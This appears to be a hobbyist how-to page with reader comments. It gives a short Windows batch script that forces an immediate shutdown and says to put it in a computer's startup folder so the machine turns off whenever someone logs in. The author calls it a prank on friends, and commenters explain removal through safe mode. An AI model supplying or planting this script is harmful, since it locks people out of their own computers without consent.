Introduction: Shut Down Pc When Someone Logs In

Picture of Shut Down Pc When Someone Logs In

HOW TO AUTOMATICALLY SHUT DOWN A PC AS A USER LOGS IN

Step 1:

Picture of

copy the follwing code and paste it in a note pad

@echo off
cd / shutdown -s -t 00 -c "Permanent Shutdown" exit

Step 2: Save

Picture of Save

after pasting the codes in note pad save it with a name of your desire or u can use my same name
save it with .bat extension and choose files type as all files

once you are done,the computer u want to shut down as a user logs in
go to start up folder and place this batch file in that folder so next tine as a user logs in this batch file will automatically execute

Comments

MTKapp27 (author)2016-07-06

neat trick, but how do u get it to stop???

EmptyZed (author)MTKapp272016-07-06

Since I'm not quite sure why you would go this route to secure the computer. I would probably have a live boot disk around and boot to that. Then access the drive and delete/rename the file. I'm sure there are other ways.

MTKapp27 (author)EmptyZed2016-07-06

Why did you create this?

EmptyZed (author)MTKapp272016-07-07

I didn't.

Nikz (author)MTKapp272016-07-06

for fun buddy,,,just to prank friends

Nikz (author)EmptyZed2016-07-06

for fun buddy,,,just to prank friends

Nikz (author)MTKapp272016-07-06

boot the computer in save mode and go to start up folder and delete the batch file and restart your pc.............

About This Instructable

341views

6favorites

License:

Bio: Technology is my passion
More by Nikz:How to Freeze a Computer Using Cmd Pop UpMAtrixPC shut down timer
Add instructable to: